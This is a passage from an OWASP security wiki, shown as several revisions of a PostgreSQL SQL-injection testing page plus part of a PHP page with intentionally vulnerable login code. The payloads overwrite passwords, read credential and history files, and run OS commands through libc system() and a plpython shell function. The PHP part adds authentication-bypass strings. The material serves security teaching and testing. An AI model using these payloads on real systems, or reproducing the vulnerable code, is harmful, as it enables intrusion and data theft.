*: ''LENGTH(str)''<br />
* Extract a substring from a given string<br />
*: ''SUBSTR(str,index,offset)''<br />
* String representation with no single quotes<br />
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''<br />
<br />
== Timing Attacks ==<br />
<br />
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current<br />
session process sleep for ''n'' seconds. <br />
<br />
On previous PostgreSQL version you can easy create a custom ''pg_sleep(n)'' by using libc:<br />
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT<br />
<br />
<br />
== Single Quote (un)Escape ==<br />
<br />
String can be encoded, to prevent single quotes escaping, by using chr() function.<br />
<br />
* chr(n): Returns the character whose ascii value corresponds to the number<br />
* ascii(n): Returns the ascii value corresponds to the character<br />
<br />
<br />
Let say you want to encode the string 'root':<br />
select ascii('r')<br />
114<br />
select ascii('o')<br />
111<br />
select ascii('t')<br />
116<br />
<br />
<br />
<br />
We can encode 'root' with: <br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
<br />
'''Example:''' <br />
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki><br />
<br />
== Current User ==<br />
<br />
Current user can be retrieved with the following SQL SELECT statements:<br />
<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki><br />
<br />
== Current Database ==<br />
<br />
Native function current_database() return current database name.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki><br />
<br />
== Enumerating Databases ==<br />
<br />
<br />
<br />
== Enumerating Tables ==<br />
<br />
== Enumerating functions ==<br />
<br />
== Attack Vectors ==<br />
<br />
=== Reading from a file ===<br />
<br />
ProstgreSQL provides two way to access local file:<br />
* COPY statement<br />
* pg_read_file() internal function (starting from PostgreSQL 8.1)<br />
<br />
'''COPY:'''<br />
<br />
This operator copies data between file and table. Thus in order to user it you need to enumerate<br />
at least one table and one column to store result within. <br />
How to enumerate tables and columns has been discussed on previous sections. <br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you allready guess the existence of ''content'' text column in table ''contents'' belonging<br />
to current database. You can retrieve ''postgres client'' history with the following trick: <br />
<br />
<nowiki>/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'#</nowiki><br />
<br />
<br />
'''pg_read_file():'''<br />
<br />
'''Examples:'''<br />
<br />
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki><br />
<br />
=== Writing to a file ===<br />
<br />
=== Shell Injection ===<br />
<br />
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting<br />
languages such as python, perl, tcl.<br />
<br />
<br />
==== Dynamic Library ====<br />
<br />
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':<br />
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />
<br />
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?<br />
<br />
Here's a little trick:<br />
<br />
* create a ''stdout'' table<br />
*: ''CREATE TABLE stdout(id serial, system_out text)''<br />
* executing a shell command redirecting it's ''stdout''<br />
*: ''SELECT system('uname -a > /tmp/test')''<br />
* use a ''COPY'' statements to push output of previous command in ''stdout'' table<br />
*: ''COPY stdout(system_out) FROM '/tmp/test'''<br />
* retrieve output from ''stdout''<br />
*: ''SELECT system_out FROM stdout''<br />
<br />
<br />
''' Example:'''<br />
<br />
<nowiki> <br />
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- <br />
<br />
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'<br />
STRICT --<br />
<br />
/store.php?id=1; SELECT system('uname -a > /tmp/test') --<br />
<br />
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --<br />
<br />
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out),NULL LIMIT 1 OFFSET 1<br />
<br />
</nowiki><br />
<br />
==== plpython ====<br />
<br />
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict<br />
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''<br />
<br />
* Check if PL/Python has been enabled on some databsae:<br />
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'<br />
* If not assuming that sysadm has allready installed plpython package try to enable:<br />
*: ''CREATE LANGUAGE plpythonu''<br />
* If all of the above succeded create a proxy shell function:<br />
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''<br />
* Have fun with:<br />
*: SELECT proxyshell(''os command'');<br />
<br />
'''Example:'''<br />
<br />
*Create a proxy shell function:<br />
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; <br />
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''<br />
<br />
*Run a OS Command:<br />
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''<br />
<br />
==== plperl ====<br />
<br />
=== Smashing dblink() ===<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&diff=29781OWASP Backend Security Project Testing PostgreSQL2008-05-25T15:52:26Z<p>Dbellucci: /* Dynamic Library */</p>
<hr />
<div>= Overview =<br />
<br />
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.<br />
<br />
= Description =<br />
<br />
== Identifing PostgreSQL ==<br />
<br />
When a SQL Injection has been found you need to carefully <br />
fingerprint backend database engine. You can determine that backend database engine<br />
is PostgreSQL by using one of the above peculiarities:<br />
<br />
* String concatenation by using the operator: ''||''<br />
* Casting by using the operator: ''::''<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 AND '11'='1'||'1'</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki><br />
<br />
== PostgreSQL Peculiarities ==<br />
<br />
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator<br />
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.<br />
<br />
'''Example''':<br />
<nowiki> http://www.example.com/store.php?id=1--hello world </nowiki><br />
<nowiki> http://www.example.com/store.php?id=1;--hello world </nowiki><br />
<br />
== Banner Grabbing ==<br />
<br />
Function version() can be used to accomplish this task.<br />
<br />
select version():<br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1</nowiki><br />
Acme Biscuits<br />
<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki><br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
== Blind Injection ==<br />
<br />
For blind SQL Injection you should take in consideration internal provided functions:<br />
<br />
* String Length<br />
*: ''LENGTH(str)''<br />
* Extract a substring from a given string<br />
*: ''SUBSTR(str,index,offset)''<br />
* String representation with no single quotes<br />
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''<br />
<br />
== Timing Attacks ==<br />
<br />
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current<br />
session process sleep for ''n'' seconds. <br />
<br />
On previous PostgreSQL version you can easy create a custom ''pg_sleep(n)'' by using libc:<br />
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT<br />
<br />
<br />
== Single Quote (un)Escape ==<br />
<br />
String can be encoded, to prevent single quotes escaping, by using chr() function.<br />
<br />
* chr(n): Returns the character whose ascii value corresponds to the number<br />
* ascii(n): Returns the ascii value corresponds to the character<br />
<br />
<br />
Let say you want to encode the string 'root':<br />
select ascii('r')<br />
114<br />
select ascii('o')<br />
111<br />
select ascii('t')<br />
116<br />
<br />
<br />
<br />
We can encode 'root' with: <br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
<br />
'''Example:''' <br />
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki><br />
<br />
== Current User ==<br />
<br />
Current user can be retrieved with the following SQL SELECT statements:<br />
<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki><br />
<br />
== Current Database ==<br />
<br />
Native function current_database() return current database name.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki><br />
<br />
== Enumerating Databases ==<br />
<br />
<br />
<br />
== Enumerating Tables ==<br />
<br />
== Enumerating functions ==<br />
<br />
== Attack Vectors ==<br />
<br />
=== Reading from a file ===<br />
<br />
ProstgreSQL provides two way to access local file:<br />
* COPY statement<br />
* pg_read_file() internal function (starting from PostgreSQL 8.1)<br />
<br />
'''COPY:'''<br />
<br />
This operator copies data between file and table. Thus in order to user it you need to enumerate<br />
at least one table and one column to store result within. <br />
How to enumerate tables and columns has been discussed on previous sections. <br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you allready guess the existence of ''content'' text column in table ''contents'' belonging<br />
to current database. You can retrieve ''postgres client'' history with the following trick: <br />
<br />
<nowiki>/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'#</nowiki><br />
<br />
<br />
'''pg_read_file():'''<br />
<br />
'''Examples:'''<br />
<br />
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki><br />
<br />
=== Writing to a file ===<br />
<br />
=== Shell Injection ===<br />
<br />
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting<br />
languages such as python, perl, tcl.<br />
<br />
<br />
==== Dynamic Library ====<br />
<br />
Until PostgreSQL 8.1 it was possible to add a custom function using ''libc'':<br />
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />
<br />
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?<br />
<br />
Here's a little trick:<br />
<br />
* create a ''stdout'' table<br />
*: ''CREATE TABLE stdout(id serial, system_out text)''<br />
* executing a shell command redirecting it's ''stdout''<br />
*: ''SELECT system('uname -a > /tmp/test')''<br />
* use a ''COPY'' statements to push output of previous command in ''stdout'' table<br />
*: ''COPY stdout(system_out) FROM '/tmp/test'''<br />
* retrieve output from ''stdout''<br />
*: ''SELECT system_out FROM stdout''<br />
<br />
<br />
''' Example:'''<br />
<br />
<nowiki> <br />
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- <br />
<br />
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'<br />
STRICT --<br />
<br />
/store.php?id=1; SELECT system('uname -a > /tmp/test') --<br />
<br />
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --<br />
<br />
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out),NULL LIMIT 1 OFFSET 1<br />
<br />
</nowiki><br />
<br />
==== plpython ====<br />
<br />
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict<br />
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''<br />
<br />
* Check if PL/Python has been enabled on some databsae:<br />
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'<br />
* If not assuming that sysadm has allready installed plpython package try to enable:<br />
*: ''CREATE LANGUAGE plpythonu''<br />
* If all of the above succeded create a proxy shell function:<br />
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''<br />
* Have fun with:<br />
*: SELECT proxyshell(''os command'');<br />
<br />
'''Example:'''<br />
<br />
*Create a proxy shell function:<br />
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; <br />
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''<br />
<br />
*Run a OS Command:<br />
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''<br />
<br />
==== plperl ====<br />
<br />
=== Smashing dblink() ===<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&diff=29780OWASP Backend Security Project Testing PostgreSQL2008-05-25T15:22:40Z<p>Dbellucci: </p>
<hr />
<div>= Overview =<br />
<br />
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.<br />
<br />
= Description =<br />
<br />
== Identifing PostgreSQL ==<br />
<br />
When a SQL Injection has been found you need to carefully <br />
fingerprint backend database engine. You can determine that backend database engine<br />
is PostgreSQL by using one of the above peculiarities:<br />
<br />
* String concatenation by using the operator: ''||''<br />
* Casting by using the operator: ''::''<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 AND '11'='1'||'1'</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki><br />
<br />
== PostgreSQL Peculiarities ==<br />
<br />
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator<br />
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.<br />
<br />
'''Example''':<br />
<nowiki> http://www.example.com/store.php?id=1--hello world </nowiki><br />
<nowiki> http://www.example.com/store.php?id=1;--hello world </nowiki><br />
<br />
== Banner Grabbing ==<br />
<br />
Function version() can be used to accomplish this task.<br />
<br />
select version():<br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1</nowiki><br />
Acme Biscuits<br />
<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki><br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
== Blind Injection ==<br />
<br />
For blind SQL Injection you should take in consideration internal provided functions:<br />
<br />
* String Length<br />
*: ''LENGTH(str)''<br />
* Extract a substring from a given string<br />
*: ''SUBSTR(str,index,offset)''<br />
* String representation with no single quotes<br />
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''<br />
<br />
== Timing Attacks ==<br />
<br />
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current<br />
session process sleep for ''n'' seconds. <br />
<br />
On previous PostgreSQL version you can easy create a custom ''pg_sleep(n)'' by using libc:<br />
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT<br />
<br />
<br />
== Single Quote (un)Escape ==<br />
<br />
String can be encoded, to prevent single quotes escaping, by using chr() function.<br />
<br />
* chr(n): Returns the character whose ascii value corresponds to the number<br />
* ascii(n): Returns the ascii value corresponds to the character<br />
<br />
<br />
Let say you want to encode the string 'root':<br />
select ascii('r')<br />
114<br />
select ascii('o')<br />
111<br />
select ascii('t')<br />
116<br />
<br />
<br />
<br />
We can encode 'root' with: <br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
<br />
'''Example:''' <br />
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki><br />
<br />
== Current User ==<br />
<br />
Current user can be retrieved with the following SQL SELECT statements:<br />
<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki><br />
<br />
== Current Database ==<br />
<br />
Native function current_database() return current database name.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki><br />
<br />
== Enumerating Databases ==<br />
<br />
<br />
<br />
== Enumerating Tables ==<br />
<br />
== Enumerating functions ==<br />
<br />
== Attack Vectors ==<br />
<br />
=== Reading from a file ===<br />
<br />
ProstgreSQL provides two way to access local file:<br />
* COPY statement<br />
* pg_read_file() internal function (starting from PostgreSQL 8.1)<br />
<br />
'''COPY:'''<br />
<br />
This operator copies data between file and table. Thus in order to user it you need to enumerate<br />
at least one table and one column to store result within. <br />
How to enumerate tables and columns has been discussed on previous sections. <br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you allready guess the existence of ''content'' text column in table ''contents'' belonging<br />
to current database. You can retrieve ''postgres client'' history with the following trick: <br />
<br />
<nowiki>/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'#</nowiki><br />
<br />
<br />
'''pg_read_file():'''<br />
<br />
'''Examples:'''<br />
<br />
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki><br />
<br />
=== Writing to a file ===<br />
<br />
=== Shell Injection ===<br />
<br />
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting<br />
languages such as python, perl, tcl.<br />
<br />
<br />
==== Dynamic Library ====<br />
<br />
Until PostgreSQL 8.1 it was possible to add a custom function using ''libc'':<br />
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />
<br />
<br />
<br />
==== plpython ====<br />
<br />
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict<br />
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''<br />
<br />
* Check if PL/Python has been enabled on some databsae:<br />
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'<br />
* If not assuming that sysadm has allready installed plpython package try to enable:<br />
*: ''CREATE LANGUAGE plpythonu''<br />
* If all of the above succeded create a proxy shell function:<br />
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''<br />
* Have fun with:<br />
*: SELECT proxyshell(''os command'');<br />
<br />
'''Example:'''<br />
<br />
*Create a proxy shell function:<br />
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; <br />
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''<br />
<br />
*Run a OS Command:<br />
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''<br />
<br />
==== plperl ====<br />
<br />
=== Smashing dblink() ===<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&diff=29779OWASP Backend Security Project Testing PostgreSQL2008-05-25T13:15:16Z<p>Dbellucci: /* Identifing PostgreSQL */</p>
<hr />
<div>= Overview =<br />
<br />
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.<br />
<br />
= Description =<br />
<br />
== Identifing PostgreSQL ==<br />
<br />
When a SQL Injection has been found you need to carefully <br />
fingerprint backend database engine. You can determine that backend database engine<br />
is PostgreSQL by using one of the above peculiarities:<br />
<br />
* String concatenation by using the operator: ''||''<br />
* Casting by using the operator: ''::''<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 AND '11'='1'||'1'</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki><br />
<br />
== PostgreSQL Peculiarities ==<br />
<br />
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator<br />
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.<br />
<br />
'''Example''':<br />
<nowiki> http://www.example.com/store.php?id=1--hello world </nowiki><br />
<nowiki> http://www.example.com/store.php?id=1;--hello world </nowiki><br />
<br />
== Banner Grabbing ==<br />
<br />
Function version() can be used to accomplish this task.<br />
<br />
select version():<br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1</nowiki><br />
Acme Biscuits<br />
<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki><br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
== Blind Injection ==<br />
<br />
For blind SQL Injection you should take in consideration internal provided functions:<br />
<br />
* String Length<br />
*: ''LENGTH(str)''<br />
* Extract a substring from a given string<br />
*: ''SUBSTR(str,index,offset)''<br />
* String representation with no single quotes<br />
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''<br />
<br />
=== Timing Attacks ===<br />
<br />
''pg_sleep()'' is all you need<br />
<br />
== Single Quote (un)Escape ==<br />
<br />
String can be encoded, to prevent single quotes escaping, by using chr() function.<br />
<br />
* chr(n): Returns the character whose ascii value corresponds to the number<br />
* ascii(n): Returns the ascii value corresponds to the character<br />
<br />
<br />
Let say you want to encode the string 'root':<br />
select ascii('r')<br />
114<br />
select ascii('o')<br />
111<br />
select ascii('t')<br />
116<br />
<br />
<br />
<br />
We can encode 'root' with: <br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
<br />
'''Example:''' <br />
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki><br />
<br />
== Current User ==<br />
<br />
Current user can be retrieved with the following SQL SELECT statements:<br />
<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki><br />
<br />
== Current Database ==<br />
<br />
Native function current_database() return current database name.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki><br />
<br />
== Enumerating Databases ==<br />
<br />
== Enumerating Tables ==<br />
<br />
== Enumerating functions ==<br />
<br />
== Attack Vectors ==<br />
<br />
=== Reading from a file ===<br />
<br />
ProstgreSQL provides two way to access local file:<br />
* COPY statement<br />
* pg_read_file() internal function (starting from PostgreSQL 8.1)<br />
<br />
'''COPY:'''<br />
<br />
'''pg_read_file():'''<br />
<br />
'''Examples:'''<br />
<br />
* <nowiki>COPY filetable(textcolumn) FROM '/home/postgres/.psql_history'</nowiki><br />
* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki><br />
<br />
=== Writing to a file ===<br />
<br />
=== Shell Injection ===<br />
<br />
==== plpython ====<br />
<br />
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict<br />
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''<br />
<br />
* Check if PL/Python has been enabled on some databsae:<br />
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'<br />
* If not assuming that sysadm has allready installed plpython package try to enable:<br />
*: ''CREATE LANGUAGE plpythonu''<br />
* If all of the above succeded create a proxy shell function:<br />
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''<br />
* Have fun with:<br />
*: SELECT proxyshell(''os command'');<br />
<br />
'''Example:'''<br />
<br />
*Create a proxy shell function:<br />
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; <br />
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''<br />
<br />
*Run a OS Command:<br />
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''<br />
<br />
==== plperl ====<br />
<br />
=== Smashing dblink() ===<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Preventing_SQL_Injection&diff=29504OWASP Backend Security Project PHP Preventing SQL Injection2008-05-18T21:53:44Z<p>Dbellucci: </p>
<hr />
<div>= Examples =<br />
To better understand how to secure code a PHP application some examples of<br />
vulnerable code is provided in this paragraph. <br />
<br />
== Login Form ==<br />
On this example we're going to see a tipical Login Form. On our example WEB SITE user need to supply a username/password pair in order to be authenticated.<br />
<br />
<br />
Here follows the authentcation form: <br />
<br />
[[Image:Owasp_bsp_php_1.jpg]]<br />
<br />
Such a login page well call ''login.php'' with supplied user credentials.<br />
<br />
<nowiki><br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
echo "Wellcome ".$sUserName;<br />
} else {<br />
die('Unauthorized Access');<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
'''db.inc:'''<br />
<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
<br />
=== Source Code Exposure ===<br />
<br />
As you can see ''login.php'' include ''db.inc'' to use ''iMysqlConnect'' whose aims is to<br />
return a resource link to backend MySQL engine. Since ''.inc'' files are not rendered<br />
by WEB Server through the ''PHP Module'' an evil user may retrieve it's content as shown<br />
in the following images:<br />
<br />
[[Image:Owasp_bsp_php_2.jpg]]<br />
<br />
<br />
=== Authentication Bypass ===<br />
<br />
<br />
On our examples user credentials are passed to ''login.php'' wich in turns call the following<br />
PHP function:<br />
<br />
<br />
<nowiki><br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
</nowiki><br />
<br />
When user ''larry'' authenticate the following SQL Query it's executed:<br />
* SELECT username FROM users WHERE username='larry' AND password=md5('larry')<br />
<br />
Breaking such an authentication schema is quite simple, since we need to :<br />
<br />
* truncate backend authentication query<br />
* injection a boolean expression to override WHERE clausole<br />
<br />
<br />
* On MySQL ''#'' is used as a comment character then whatever follows is discarderd from the engine.<br />
* Since our WHERE clausole is something like ''expr AND expr'' we can override it by adding an identity expresssion (E.g.: OR 1=1)<br />
<br />
<br />
It follows that authentication can be bypassed by supplying the following credentials:<br />
* username: ''' OR 1=1#''<br />
* password: ''password''<br />
<br />
* username: ''username''<br />
* password: ''') OR 1=1 #''<br />
<br />
<br />
=== User Enumeration ===<br />
<br />
We learned on previous section that an evil user can bypass authentication schema by supplying <br />
the following credentials:<br />
<br />
* username: '''OR 1=1#''<br />
* password: ''password''<br />
<br />
Let'say again what does ''sAuthenticateUser'' performs:<br />
<br />
<nowiki><br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
</nowiki><br />
<br />
<br />
As you can see $query will contains the following SQL statement:<br />
* SELECT username FROM users WHERE username = '' OR 1=1#' AND password = md5('password')<br />
<br />
wich in turns will be executed in:<br />
<br />
<nowiki><br />
